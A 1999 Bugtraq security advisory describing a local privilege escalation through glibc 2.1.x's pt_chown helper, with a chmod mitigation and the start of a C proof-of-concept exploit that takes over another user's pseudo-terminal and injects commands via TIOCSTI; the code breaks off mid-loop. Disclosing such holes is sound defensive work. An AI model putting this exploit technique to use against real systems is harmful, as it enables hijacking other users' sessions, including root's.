From: Michal Zalewski [lcamtuf@IDS.PL] Sent: Sunday, July 04, 1999 7:39 AM To: BUGTRAQ@SECURITYFOCUS.COM Subject: [Linux] glibc 2.1.x / wu-ftpd <=2.5 / BeroFTPD / lynx / vlock / mc / glibc 2.0.x First of all, something less or more personal - sorry to all secure@...pl people for this post. I'm really angry, as this stuff become well-known without my knowledge... so, only a few of my own observations, always trying to respect other's intellectual property. All the best goes to el- :P ---------------------------------------------- glibc 2.1.x and Linux without devpts mechanism ---------------------------------------------- Compromise: locally, privledges of any user (including superuser) running programs without devpts support compiled in after glibc upgrade (like screen, mc etc). Solution: chmod 700 /usr/libexec/pt_chown There's a bug in pt_chown suid helper program, supplied with glibc 2.1.x (tested on default RH 6.0 distro). This program is designed to allow proper allocation of pseudo-terminals for non-suid programs in systems with glibc 2.1.x installed, but without devpts support compiled into every program (it's enough to have, let's say, screen which uses traditional /dev/ptyXX and /dev/ttyXX scheme). Due to lack of security checks, pt_chown can be easily fooled to gain full control over other user's (root as well) pseudo-terminal, as allocated by screen, Midnight Commander, or virtually any other program. All we need is an open descriptor to /dev/ttyXX (in read or write mode, no matter) - while login uses secure permissions, ttys allocated by eg. screen are 622 by default, so we could gain write access. Then, we have to call pt_chown in a proper way to gain ownership of this device, and put anything we want to the input stream of process controlling this pty using TIOCSTI ioctl()... Automated exploit code is attached (potfory.c). Sorry for polish comments, should be readable anyway? If not, there's 'primal' exploit for this hole: -- simpliest.c -- int main(int a,char* b[]) { char* c="\nclear;echo huhuhu, it worked...;id;sleep 2\n"; int i=0,x=open(b[1],1); // Expect writable, allocated // (eg. by screen) /dev/ttyXX as 1st arg if (x<0) { perror(b[1]); exit(1); } if (!fork()) { dup2(x,3); execl("/usr/libexec/pt_chown","pt_chown",0); perror("pt_chown"); exit(1); } sleep(1); for (i;i